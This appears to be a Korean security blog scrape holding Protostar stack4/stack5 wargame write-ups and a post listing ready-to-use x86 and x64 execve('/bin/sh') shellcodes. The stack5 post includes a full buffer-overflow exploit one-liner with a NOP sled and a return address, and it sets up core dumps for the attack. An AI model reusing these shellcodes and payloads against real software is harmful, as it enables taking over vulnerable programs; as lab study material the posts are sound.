'경로 및 정보' 카테고리의 다른 글

BloodHound 윈도우 설치 (진행 중)  (0) 2025.01.29
User After Free 취약점 관련  (0) 2025.01.28
shell code sample  (0) 2025.01.28
Protostar - Stack4  (0) 2025.01.28
어셈블리어 호출 규칙 (64bit 참고)  (0) 2025.01.27
블로그 이미지

wtdsoul

,
블로그 이미지

wtdsoul

,

protostar format1

시스템 2025. 1. 28. 17:15

 

 

'시스템' 카테고리의 다른 글

protostar format1  (0) 2025.01.29
protostar stack5  (0) 2025.01.28
protostar stack2  (0) 2025.01.27
Buffer OverFlow 대응방안  (0) 2022.10.24
Init 프로세스  (0) 2022.10.23
블로그 이미지

wtdsoul

,

'하드웨어 해킹 및 임베디드' 카테고리의 다른 글

Bluetooth 공격 기법  (0) 2023.06.30
ISO 21434 CAL Level  (0) 2023.06.29
Chapter 7. Device control  (0) 2023.06.25
Car Hacking Training  (0) 2023.05.18
SecOC(Secure On-board. Communication)  (1) 2023.05.16
블로그 이미지

wtdsoul

,

protostar stack5

시스템 2025. 1. 28. 15:11

리마인드

다양한 방법을 시도하였으며, 결국 core dump 파일에 있는 0xbffffc40 주소로 ret 값 입력 시 정상적으로 쉘이 떨어진다. 

https://jennana.tistory.com/579

 

[Protostar] Stack5

[Protostar] Stack5 #include #include #include #include int main(int argc, char **argv) { char buffer[64]; gets(buffer); } 이 문제는 쉘코드를 삽입하고 ret를 쉘코드가 있는 위치로 변조하여 해결하는 문제이다. 코드를 보면,

jennana.tistory.com

 

core 덤프 확인을 위해 아래와 같이 설정 

$ cat /proc/sys/kernel/core_pattern
/tmp/core.%s.%e.%p
# cat /proc/sys/fs/suid_dumpable
0
# echo "1" > /proc/sys/fs/suid_dumpable
# cat /proc/sys/fs/suid_dumpable
1
$ ulimit -c unlimited

 

최종 삽입코드 : NOP(16) + 쉘코드(24) + NOP(36) + RET(4) = 80 

(python -c 'print "\x90"*16+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*36+"\x40\xfc\xff\xbf"';cat) | ./stack5

 

추가 참고)

https://noobfrompitt.github.io/protostar-stack5/

 

 

 

 

'시스템' 카테고리의 다른 글

protostar format1  (0) 2025.01.29
protostar format1  (0) 2025.01.28
protostar stack2  (0) 2025.01.27
Buffer OverFlow 대응방안  (0) 2022.10.24
Init 프로세스  (0) 2022.10.23
블로그 이미지

wtdsoul

,

https://orcinus-orca.tistory.com/5

 

내가 쓰려고 적어두는 쉘코드(Shell Code)

직접 쉘코드를 만드는 과정을 겪어보니 쉘코드를 보는 시선이 약간 바뀐 것 같다. 소중한 친구들... 26-byte shell code(x86)_scanf우회 쉘코드 \x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\x

orcinus-orca.tistory.com

 

26-byte shell code(x86)_scanf우회 쉘코드

\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80


25-byte shell code(x86)

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80


26-byte shell code(x86)

\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80


41-byte shell code(x86)

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80


48-byte shell code(x86)_\x2f없는 쉘코드

\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81


23-byte shell code(x64)

\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05


31-byte shell code(x64)

\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05
 
블로그 이미지

wtdsoul

,

https://ii4gsp.tistory.com/50?pidx=0

 

Exploit Exercises [Protostar - Stack4]

#include #include #include #include void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { char buffer[64]; gets(buffer); } ret를 win() 함수의 시작 주소로 조작해야한다. 스택이 0x50만큼 할당되었

ii4gsp.tistory.com

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

 

 

0x080483f4가 win() 함수의 시작 주소이다.
리틀 엔디언 방식으로 ret를 덮어주면 된다.
페이로드는 buffer[64byte] + dummy[8byte] + sfp[4byte] + win()함수 시작 주소

 

(python -c 'print "\x90" * 76 + "\xf4\x83\x04\x08"';cat) | ./stack4

'경로 및 정보' 카테고리의 다른 글

User After Free 취약점 관련  (0) 2025.01.28
shell code sample  (0) 2025.01.28
어셈블리어 호출 규칙 (64bit 참고)  (0) 2025.01.27
리버싱에서의 레지스터란? (참고)  (0) 2025.01.27
PLT와 GOT 자세히 알기 1  (0) 2025.01.26
블로그 이미지

wtdsoul

,